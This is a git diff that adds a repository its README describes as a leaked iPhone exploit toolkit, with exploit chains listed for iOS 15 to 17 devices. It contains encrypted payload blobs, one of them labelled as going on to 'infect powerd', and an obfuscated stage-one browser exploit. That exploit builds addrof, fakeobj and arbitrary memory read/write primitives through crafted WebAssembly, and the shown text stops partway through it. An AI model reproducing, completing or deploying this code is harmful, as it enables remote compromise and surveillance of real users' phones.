W3f78MfzhmVtK4+yJHj7E6+Ofk772/Oow0TbsAny77O1jnrf5j52/FaJNfYniTTPxNPAep3N+BCzG1my+SA2sGpSvgjF61iRciZ5u/hRzrPSvFP6/y3BfXT2fLev/Mkm2HmRxrPivShIzmrYpN/t3FJDSvKa+xfZAvT62cuG06l4Ih9TgAjBB9RDCxoy5cNIEMznVNWYfJ4d99jcmR8y2x0Cs1ypxlQW0X+CQ9GHqi4+SPMaO7xZD9eWRU0w6eQ2tf3/lm0fGx9rMFWXOc9WiQG5+mCBSgNwWB+Owt/vA5WoCXGDwtATIyEQrn10crIlelDAca1r9+ZIyBacEmIU3+IrY8Tlo4yPcLZjdjmbbFhnZuU1K6+phC++sPbPB8fvFWMN75y3VOl3YC7H3Qk2ZmLly9imR40WmpBr7rCB+jOCNg6w6GjwY2eAUw7sp5NRZDPPQ7TMYC7fIi/bTzhqQyDiwQ9H5m3NA4qM7TW9qcjY3xx7qSzH8Wfq9VN+YsfNgSe8436pYgUej8BdXZ2E4g0vQb2BJxPb9yHn6FHHqCX/mL7IGUQQg8KHtoQmFUZSRLiZnt/D7qEciE8PGrrRVdS2j5BT4Klv8jgz204r8/hr3OfsnbTWjY9q4TtQ4oA5Gl6u202kfK8wRQ9huGG0nmZmCwWh2/rFzelfgavoN1vqrKOJbOw9qinti9LDChppwwkt3JMHinoEUWyk6zUyNHKBgn2G8euWywzj45CGNF2ZaETj8TUC5syWBUzfbXsAXe8qZRHh18uAH19P5HJCc25XAUg59To22aT38Z+iTEMWWaEYQpW2E0FmPXyogbXtTYmFNJz0r+Bs2jezDnsrq1UMrAZ4PjhsAqGumig6Yxf+5R31lH5eR5CRlf+29s/WaZPB6n54IG3/e9m5pnI4m1C4PkEtZM6GXdqu6A8BtBSc05u2VGInTYKl5fl8mkiZUyXVVm41uf0RZ+QyznAmqa12zdTAmv0kvFTOcuervu4RN9fVl9ISC4suZa9WjRn0PEFEFAFlh3wyJSkmNygQTtxmeKzbgqEIiCafgGTpLusvR47wSZHEApBq7uRofGasYJ20SIY6nnHEzouVGL+BYNg7cPtbkmKKVnXb4LWgLLfZTWTXKYfOoRekgshVLW6mOpDfu1BqBQIfkdJd1HHgjAUJSP9voObtfOzOlFi80P9F4XsG1CKKPu8J0yATgMMV/gkMp5PQtcLgVqz9mRaaXXKIGLYpaWDnhSS+A7d13Xhl8xI5ZS1geai3QS4jRDB/5x9wtlvF896BvyTLJwGftO5tkD3Jj5W96lYZ7iicu+76oAV6yXMxGj+ldO1THtwrguPt0Ub2IUpQ6rsUg4Nu2chjw/aQ2lF1549EJMP1jWDb5ZuXBEEwI7HjUuju28DozBaK+ZI+eVzGp1SdxT3JdLQJwk/iTW1EYone5V0O5J/zLtIGVpC86hY9Pw0N2e9y/CwUucLKQheDXSGET5ssMMsOPrgQtWLs0m+7VT2xlHUkE15WQ5avp7lSPE4K3caLqPRi7TRIMs3LEto2rV0bAMIAqINiF/6/T35U8gT28fwUtcs26SCSoIIrOf1KY5365TeLnVSrD2f7yUkE/yCy+LMsm52KM16H+5wy+5+JoE4OWA3r504ys9xTrHmGGMSkbO4HpswlvEmOq7lugczvsYhBWNbmcIbPwkzSHz/e5ySfIYjWjc51JRkwrmN9Jww+SSyTwbZFKmdi8rlLtbwkwySgo7pFf6E84XS8FqqIFgQLLPNE98renuKhqZ+8U8CAYu7cClh/KiLqoTKHEeOo3i/DvnsXC90WJphXuyKiV/LExBXw3SMKbCfT3lu6VO1/Vw61FThdGzQGNBm+5+xW1yYTDdMUavFtTsfGOGxuKsFycwLTSAEq4C8NyYx6fM333TaAL0Lq77smXxnSZJWdAie08m2RSptLf16ntQ7CM3cAoSfjXUp45+goBdeGsbiYC3gIY7Kf+XwRUTNG0hfcA7juA1rFXlq4OOOBXM0RyJ5rMs4KuepDFaRglhzkZIVlWd3zy51K9xYnJncpFNLB8dufhQOP/e7x5/UqyLW8O2KYJPNxZK9VSKo5a4WgWk2m/ZqrTBbtT/5g5qVQYzQZB1qupT56m31QdLrvj+JFEHee29FQnQY9AGeCbqk5sUOlNAWeSOsPWmvY0W226ysokGvuTY/UtuxLamPiO/KXU0LYC++RrPGx5MSz1gw3EPsLf1q1/JzeEv5vvj3e/y5MhRMsgxbucjzlzjkMauVDvg3v2ABVKouJ0yQk6539g6wxggpfqltWnGR48w9L4lTn9Og3M3W944S8SaR+5utcdWtqYD+7A/ZAxWosZHUxbZSkOeFcy9xPeggdhQ70sMWfyyw9Hco/shYmueGYr3cHJnjKFV4hDYxb1UC27PRKQmQpWa9HUQouR8YhjzcjGFEBXW2+IH8AK4nlMN8Ep8Awe7925/m3G/92wsb09P0y+VUMeMSwMy231IfTeCrSh9ZekUincUaRT3pOvG8zhF0h3789AhVCK10+D3BAHLtIBscuupJrMt8SahTj7t8Ig6QAfFeNa2tKV8T3Zk0+4q+lzyhbJoOfAf/8+nyLm8oXSqlI+X1C5FsGs7KhJ5AthHQsSgbc5MWmZbJXrAioXVYx782nrDhotDrUVizf5Xtc1d6HjSymJQkB86H+cRLq2YU="); \ No newline at end of file diff --git a/4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js b/4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js new file mode 100644 index 0000000..8b07186 Binary files /dev/null and b/4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js differ diff --git a/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js b/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js new file mode 100644 index 0000000..6c9b304 --- /dev/null +++ b/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js @@ -0,0 +1,5 @@ +// This will be removed later +let shouldIReload = confirm("this js loaded means it works. Press OK to reload page. Cancel will let the rest of payload execute which will infect powerd."); +if (shouldIReload == true) location.reload(); + +window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl"); \ No newline at end of file diff --git a/800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js b/800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js new file mode 100644 index 0000000..678a2a1 Binary files /dev/null and b/800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js differ diff --git a/README.md b/README.md new file mode 100644 index 0000000..daa0738 --- /dev/null +++ b/README.md @@ -0,0 +1,14 @@ +# Coruna + +The leaked exploit toolkit. Partially deobfuscated by Claude (thanks @34306) and by hand. + +These scripts are modified in a way that allows you to host them locally. + +Note that the script names may be incorrect and only includes exploit chains for tested devices. + +## Tested on +| Device| Version | Exploit chain | +| :--- | --- | --- | +| iPhone 6s+ | 15.4.1 | jacurutu -> VariantB? -> ? | +| iPhone Xs Max | 16.5 | terrorbird -> seedbell -> VariantB -> ? | +| iPhone 15 Pro Max | 17.0 | cassowary -> seedbell_pre -> seedbell_17 -> VariantB -> ? | \ No newline at end of file diff --git a/Stage1_15.2_15.5_jacurutu.js b/Stage1_15.2_15.5_jacurutu.js new file mode 100644 index 0000000..2004f74 --- /dev/null +++ b/Stage1_15.2_15.5_jacurutu.js @@ -0,0 +1,504 @@ +let r = {}; +const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G, + Vt: m, + v: o + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); +class E { + busyWait(A, t, Q = 0) { + let e = ""; + for (let s = 0; s < t; s += 8) { + const t = this.read32(A + s + Q), + n = this.read32(A + s + Q + 4); + e += G(A + s) + "(" + G(s) + "): " + (i = t, r = n, "0x" + r.toString(16) + "00000000" + i.toString(16).slice(-8)) + "\n"; + } + var i, r; + } + wr(A, t, Q) { + for (let e = 0; e < Q; e += 4) this.write32(A + e, t); + } + copyMemory32(A, t, Q) { + if (Q % 4 != 0) throw new Error("Q % 4 != 0"); + this.yr = !0; + for (let e = 0; e < Q; e += 4) this.write32(A.H(e).W(), this.read32(t.H(e).W())); + this.yr = !1; + } + read32FromInt64(A) { + this.yr = !0; + const t = this.read32(A.W()); + return this.yr = !1, t; + } + readInt64FromInt64(A) { + this.yr = !0; + const t = this.read32(A.W()), + Q = this.read32(A.H(4).W()); + return this.yr = !1, new utilityModule.Int64(t, Q); + } + mr(A) { + this.yr = !0; + const t = this.read32(A.W()), + Q = this.read32(A.H(4).W()); + return this.yr = !1, utilityModule.T(t, Q); + } + Ar(A) { + const t = A.it % 4; + A = A.Bt(t), this.yr = !0; + const Q = this.read32(A.W()) >> 8 * t & (1299800684 ^ 1299800723); + return this.yr = !1, Q; + } + readStringFromInt64(A, t = 1714237818 ^ 1714237562) { + let Q = ""; + for (; Q.length < t;) { + const t = this.Ar(A.H(Q.length)); + if (0 === t) break; + Q += String.fromCharCode(t); + } + return Q; + } + Pr(A, t) { + let Q = ""; + for (; Q.length < t;) { + const t = this.Ar(A.H(Q.length)); + Q += String.fromCharCode(t); + } + return Q; + } + readByte(A) { + const t = A % 4; + let Q; + return Q = !0 === this.yr ? utilityModule.q(A, -t) : A - t, this.read32(Q) >> 8 * t & (1966290542 ^ 1966290577); + } + readRawBigInt(A) { + const t = this.read32(A), + Q = this.read32(A + 4); + if (Q > o) throw new Error("Q > o"); + return utilityModule.T(t, Q); + } + readDoubleAsPointer(A, t = !1) { + const Q = this.read32(A); + let e = this.read32(A + 4); + return (!0 === t || globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.zohDDd) && (e &= o), utilityModule.T(Q, e); + } + readInt64FromOffset(A) { + const t = this.read32(A), + Q = this.read32(A + 4); + return new utilityModule.Int64(t, Q); + } + readString(A, t = 1597399620 ^ 1597399876) { + let Q = 2020291918 ^ 127191729; + [30, 5, 29, 18, 21, 2].map((x) => { + return String.fromCharCode(x ^ 112); + }).join("") == typeof t && (Q = t); + let e = ""; + for (; e.length < Q;) { + const t = this.readByte(A + e.length); + if (0 === t) break; + e += String.fromCharCode(t); + } + return e; + } + Nr(A, t) { + let Q = ""; + for (; Q.length < t;) { + const t = this.readByte(A + Q.length); + Q += String.fromCharCode(t); + } + return Q; + } + addrof(A) { + this._r.a = A; + const t = this.readRawBigInt(this.Wr); + return this._r.a = null, t; + } + pr(A) { + const t = new DataView(new ArrayBuffer(A.length + 1)); + utilityModule.D(t); + for (let Q = 0; Q < A.length; Q++) t.setUint8(Q, A.charCodeAt(Q)); + return this.fakeobj(t); + } + allocControlledBuffer(A, t = !1) { + const Q = new ArrayBuffer(A), + e = new Uint8Array(Q); + utilityModule.D(Q); + const i = this.addrof(e), + r = this.readDoubleAsPointer(i + globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).platformState.versionFlags.oGn3OG); + if (!0 === t) { + const A = this.addrof(Q), + t = this.readDoubleAsPointer(A + globalThis.moduleManager.getModuleByName([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map((x) => { + return String.fromCharCode(x ^ 121); + }).join("")).platformState.versionFlags.CN3rr_); + let e = this.read32(t + globalThis.moduleManager.getModuleByName([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map((x) => { + return String.fromCharCode(x ^ 49); + }).join("")).platformState.versionFlags.EMDU4o); + e += 32, this.write32(t + globalThis.moduleManager.getModuleByName([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map((x) => { + return String.fromCharCode(x ^ 76); + }).join("")).platformState.versionFlags.EMDU4o, e); + } + return r; + } + fakeobj(A, t = !1) { + A instanceof ArrayBuffer && (A = new Int8Array(A)); + const Q = this.addrof(A); + return this.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")).platformState.versionFlags.oGn3OG, t); + } + withTempOverrides(A, ...t) { + const Q = new Array(t.length + 10); + for (let A = 0; A < t.length; A++) Q[A] = this.readInt64FromOffset(t[A].Ir); + try { + for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, t[A].Zt); + A(); + } finally { + for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, Q[A]); + } + } + constructor(A, t, Q, e) { + const i = new Uint8Array([0, 97, 946231116 ^ 946231103, 826626901 ^ 826626872, 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, 1212428661 ^ 1212428553, 96, 1, 1400203094 ^ 1400203050, 0, 96, 0, 1, 1517901910 ^ 1517901865, 96, 1, 1480681551 ^ 1480681520, 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, 1161312360 ^ 1161312280, 0, 1, 6, 27, 3, 1447643496 ^ 1447643414, 1, 66, 961377581 ^ 961377694, 761947713 ^ 761947781, 1865960010 ^ 1865960078, 1096307566 ^ 1096307638, 11, 11, 2003579511 ^ 2003579400, 1, 65, 1148146745 ^ 1148146860, 910383415 ^ 910383514, 927873360 ^ 927873422, 1383223911 ^ 1383223971, 1597008438 ^ 1597008463, 11, 1163883309 ^ 1163883346, 1, 65, 1850833253 ^ 1850833366, 2034985570 ^ 2034985638, 1229419061 ^ 1229419249, 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, 1364608368 ^ 1364608276, 0, 3, 10, 27, 4, 5, 0, 35, 0, 1517506402 ^ 1517506525, 11, 7, 0, 32, 0, 1162504248 ^ 1162504325, 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer, + r = new WebAssembly.Module(i, {}), + s = new WebAssembly.Instance(r, {}), + n = new WebAssembly.Instance(r, {}); + this.Vr = s, this.Cr = n, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1; + for (let A = 0; A < 22; A++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0); + const g = (t) => { + t[0] = 1; + const e = A(t); + return Q(e + globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.zpy6Mu) + globalThis.moduleManager.getModuleByName([115, 118, 116, 116, 123, 33, 35, 113, 32, 115, 119, 115, 123, 32, 35, 112, 35, 122, 36, 118, 114, 32, 39, 112, 122, 117, 36, 116, 118, 116, 38, 118, 38, 117, 119, 123, 113, 39, 32, 114].map((x) => { + return String.fromCharCode(x ^ 66); + }).join("")).platformState.versionFlags.xK8SW0; + }, + o = g(n), + h = g(s); + this.Yr = -8, this.Zr = 0, this.jr = Q(o), this.kr = o, t(o, h + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = A(this._r) + globalThis.moduleManager.getModuleByName([92, 89, 91, 91, 84, 14, 12, 94, 15, 92, 88, 92, 84, 15, 12, 95, 12, 85, 11, 89, 93, 15, 8, 95, 85, 90, 11, 91, 89, 91, 9, 89, 9, 90, 88, 84, 94, 8, 15, 93].map((x) => { + return String.fromCharCode(x ^ 109); + }).join("")).platformState.versionFlags.fGOrHX, e(); + } + cleanup() { + const A = JSON.parse([111, 4, 105].map((x) => { + return String.fromCharCode(x ^ 52); + }).join("")), + t = JSON.parse([18, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 20].map((x) => { + return String.fromCharCode(x ^ 73); + }).join("")); + A[0] = !1, t[0] = 1.2; + const Q = { + Fr: .1, + Lr: .2, + Rr: .3, + qr: .4 + }, + e = this.addrof(Q), + i = this.addrof(t), + r = this.addrof(A), + s = this.readRawBigInt(i + 8), + n = this.readRawBigInt(r + 8); + for (let A = 0; A < 16; A += 4) this.write32(e + 20 + A, this.read32(i + A)); + const g = utilityModule.C(Q.Lr); + this.copyBigInt(n, e + 20); + const o = A[0]; + A[0] = void 0, Q.Lr = utilityModule.Y(g, utilityModule._(this.kr) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(this.kr), 1751865938 ^ 1751246476), this.Cr.exports[this.Xr](this.Qr), o[0] = utilityModule.J(this.jr), Q.Lr = utilityModule.Y(g, utilityModule._(s) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(s), 1866875953 ^ 1867315439); + } + read32(A) { + return this.ri(A), this.Vr.exports[this.vr](0) >>> 0; + } + write32x2(A, t, Q) { + this.write32(A, t), this.write32(A + 4, Q); + } + write32(A, t) { + this.ri(A), this.Vr.exports[this.Hr](0 | t); + } + copyBigInt(A, t) { + this.write32(A, t >>> 0), this.write32(A + 4, t / 4294967296 >>> 0); + } + writeInt64ToOffset(A, t) { + this.write32(A, t.it), this.write32(A + 4, t.et); + } + ri(A) { + if (!1 === this.yr) { + if (A < 0x10000 || A != A) throw new Error("A < 0x10000|| A != A"); + this.Cr.exports[this.Xr](utilityModule.J(A + this.Yr)); + } else this.Cr.exports[this.Xr](utilityModule.q(A, this.Yr)); + } +} + +function Q(A, t, Q) { + A(), window.VHcWaK[1] = Q; +} +r.si = function () { + const A = 1130706244 ^ 1130706386, + t = A, + e = [17, 21, 8, 23, 10, 12, 11].map((x) => { + return String.fromCharCode(x ^ 120); + }).join(""), + i = "f", + r = 9.4306048228214e-20, + s = BigInt([8, 64, 11, 90, 94, 92, 92, 13, 1, 8, 12, 12, 11, 9, 89, 13, 92, 0].map((x) => { + return String.fromCharCode(x ^ 56); + }).join("")), + n = 0, + g = 1; + + function h(A) { + const t = new Uint8Array(A.length); + for (let Q = 0; Q < A.length; Q++) t[Q] = A.charCodeAt(Q); + return t; + } + const a = h(atob([14, 8, 9, 53, 45, 30, 10, 14, 14, 14, 14, 13, 59, 30, 6, 12, 22, 14, 14, 14, 22, 5, 22, 13].map((x) => { + return String.fromCharCode(x ^ 79); + }).join("")) + "~".repeat(1984785218 ^ 1984785364) + atob([22, 29, 63, 71].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")) + "~".repeat(825313878 ^ 825313984) + atob("Ag8BB2ltcG9ydHMDbW9kAAADAgEBBQQBAQEBBwsCA21lbQIAAWYAAQrBEAG+EABBACAAQQggAUEQIAJBGCADQSAgBEEoIAVBMCAGQTggB0HAACAIQcgAIAlB0AAgCkHYACALQeAAIAxB6AAgDUHwACAOQfgAIA9BgAEgEEGIASARQZABIBJBmAEgE0GgASAUQagBIBVBsAEgFkG4ASAXQcABIBhByAEgGUHQASAaQdgBIBtB4AEgHEHoASAdQfABIB5B+AEgH0GAAiAgQYgCICFBkAIgIkGYAiAjQaACICRBqAIgJUGwAiAmQbgCICdBwAIgKEHIAiApQdACICpB2AIgK0HgAiAsQegCIC1B8AIgLkH4AiAvQYADIDBBiAMgMUGQAyAyQZgDIDNBoAMgNEGoAyA1QbADIDZBuAMgN0HAAyA4QcgDIDlB0AMgOkHYAyA7QeADIDxB6AMgPUHwAyA+QfgDID9BgAQgQEGIBCBBQZAEIEJBmAQgQ0GgBCBEQagEIEVBsAQgRkG4BCBHQcAEIEhByAQgSUHQBCBKQdgEIEtB4AQgTEHoBCBNQfAEIE5B+AQgT0GABSBQQYgFIFFBkAUgUkGYBSBTQaAFIFRBqAUgVUGwBSBWQbgFIFdBwAUgWEHIBSBZQdAFIFpB2AUgW0HgBSBcQegFIF1B8AUgXkH4BSBfQYAGIGBBiAYgYUGQBiBiQZgGIGNBoAYgZEGoBiBlQbAGIGZBuAYgZ0HABiBoQcgGIGlB0AYgakHYBiBrQeAGIGxB6AYgbUHwBiBuQfgGIG9BgAcgcEGIByBxQZAHIHJBmAcgc0GgByB0QagHIHVBsAcgdkG4ByB3QcAHIHhByAcgeUHQByB6QdgHIHtB4AcgfEHoByB9QfAHIH5B+Acgf0GACCCAAUGICCCBAUGQCCCCAUGYCCCDAUGgCCCEAUGoCCCFAUGwCCCGAUG4CCCHAUHACCCIAUHICCCJAUHQCCCKAUHYCCCLAUHgCCCMAUHoCCCNAUHwCCCOAUH4CCCPAUGACSCQAUGICSCRAUGQCSCSAUGYCSCTAUGgCSCUAUGoCSCVAQ==") + atob([36, 29, 43, 43].map((x) => { + return String.fromCharCode(x ^ 106); + }).join("")).repeat(1650027120 ^ 1650027238) + atob("EABBACkAAEEIKQAAQRApAABBGCkAAEEgKQAAQSgpAABBMCkAAEE4KQAAQcAAKQAAQcgAKQAAQdAAKQAAQdgAKQAAQeAAKQAAQegAKQAAQfAAKQAAQfgAKQAAQYABKQAAQYgBKQAAQZABKQAAQZgBKQAAQaABKQAAQagBKQAAQbABKQAAQbgBKQAAQcABKQAAQcgBKQAAQdABKQAAQdgBKQAAQeABKQAAQegBKQAAQfABKQAAQfgBKQAAQYACKQAAQYgCKQAAQZACKQAAQZgCKQAAQaACKQAAQagCKQAAQbACKQAAQbgCKQAAQcACKQAAQcgCKQAAQdACKQAAQdgCKQAAQeACKQAAQegCKQAAQfACKQAAQfgCKQAAQYADKQAAQYgDKQAAQZADKQAAQZgDKQAAQaADKQAAQagDKQAAQbADKQAAQbgDKQAAQcADKQAAQcgDKQAAQdADKQAAQdgDKQAAQeADKQAAQegDKQAAQfADKQAAQfgDKQAAQYAEKQAAQYgEKQAAQZAEKQAAQZgEKQAAQaAEKQAAQagEKQAAQbAEKQAAQbgEKQAAQcAEKQAAQcgEKQAAQdAEKQAAQdgEKQAAQeAEKQAAQegEKQAAQfAEKQAAQfgEKQAAQYAFKQAAQYgFKQAAQZAFKQAAQZgFKQAAQaAFKQAAQagFKQAAQbAFKQAAQbgFKQAAQcAFKQAAQcgFKQAAQdAFKQAAQdgFKQAAQeAFKQAAQegFKQAAQfAFKQAAQfgFKQAAQYAGKQAAQYgGKQAAQZAGKQAAQZgGKQAAQaAGKQAAQagGKQAAQbAGKQAAQbgGKQAAQcAGKQAAQcgGKQAAQdAGKQAAQdgGKQAAQeAGKQAAQegGKQAAQfAGKQAAQfgGKQAAQYAHKQAAQYgHKQAAQZAHKQAAQZgHKQAAQaAHKQAAQagHKQAAQbAHKQAAQbgHKQAAQcAHKQAAQcgHKQAAQdAHKQAAQdgHKQAAQeAHKQAAQegHKQAAQfAHKQAAQfgHKQAAQYAIKQAAQYgIKQAAQZAIKQAAQZgIKQAAQaAIKQAAQagIKQAAQbAIKQAAQbgIKQAAQcAIKQAAQcgIKQAAQdAIKQAAQdgIKQAAQeAIKQAAQegIKQAAQfAIKQAAQfgIKQAAQYAJKQAAQYgJKQAAQZAJKQAAQZgJKQAAQaAJKQAAQagJKQAACw==")), + B = h(atob([21, 19, 18, 46, 54, 5, 17, 21, 21, 21, 21, 22, 22, 35, 30, 51, 21, 21, 22, 51, 21, 21, 21, 23, 60, 55, 21, 18, 51, 17, 21, 28, 53, 3, 101, 35, 54, 103, 30, 100, 55, 35, 26, 57, 48, 3, 96, 21, 21, 21, 105, 105].map((x) => { + return String.fromCharCode(x ^ 84); + }).join("")) + atob([52, 68, 26, 2, 21, 49, 79, 15, 18, 62, 59, 55, 55, 55, 51, 75].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).repeat(893858670 ^ 893856913) + atob([112, 70, 120, 115, 112, 96, 82, 121, 112, 96, 123, 92, 124, 86, 114, 112, 96, 112, 94, 118, 112, 96, 96, 112, 116, 112, 112, 125].map((x) => { + return String.fromCharCode(x ^ 49); + }).join(""))), + K = h(atob([12, 10, 11, 55, 47, 28, 8, 12, 12, 12, 12, 15, 62, 42, 4, 15, 20, 7, 20, 15].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")) + "~".repeat(1331844939 ^ 1331845085) + atob([41, 34, 0, 120].map((x) => { + return String.fromCharCode(x ^ 69); + }).join("")) + "~".repeat(1734894158 ^ 1734894296) + atob([53, 40, 58, 48, 48, 40, 51, 48].map((x) => { + return String.fromCharCode(x ^ 113); + }).join("")) + atob([12, 12, 112, 112].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")).repeat(2050573361 ^ 2050556977) + atob([55, 34, 62, 49, 50, 50, 50, 78].map((x) => { + return String.fromCharCode(x ^ 115); + }).join(""))); + + function c() {} + window.VHcWaK = new Array(16).fill([]).map((A, t) => { + const Q = JSON.parse([45, 71, 88, 71, 90, 86, 71, 88, 68, 90, 86, 69, 88, 68, 43].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")); + return Q[0] = .1 + t, Q["a" + t] = t, Q; + }); + const b = function () { + const o = { + mode: n, + AA: BigInt(0), + A: !1 + }, + h = { + fun: function (t) { + const Q = new WebAssembly.Module(a), + r = new WebAssembly.Instance(Q, { + [e]: { + mod: function (t) { + t.A = !1; + const Q = new BigUint64Array(r.exports.mem.buffer); + for (let e = 0; e < A - 1; e++) + if (Q[e] === s) { + t.mode === n ? (t.A = !0, t.AA = Q[e + 1]) : t.mode === g && (t.A = !0, Q[e + 1] = t.AA); + break; + } + }.bind(null, t) + } + }); + return r.exports[i]; + }(o), + "": c + }, + b = []; + for (let A = 0; A < (1414746221 ^ 1414746521); A++) b.push(new WebAssembly.Table({ + 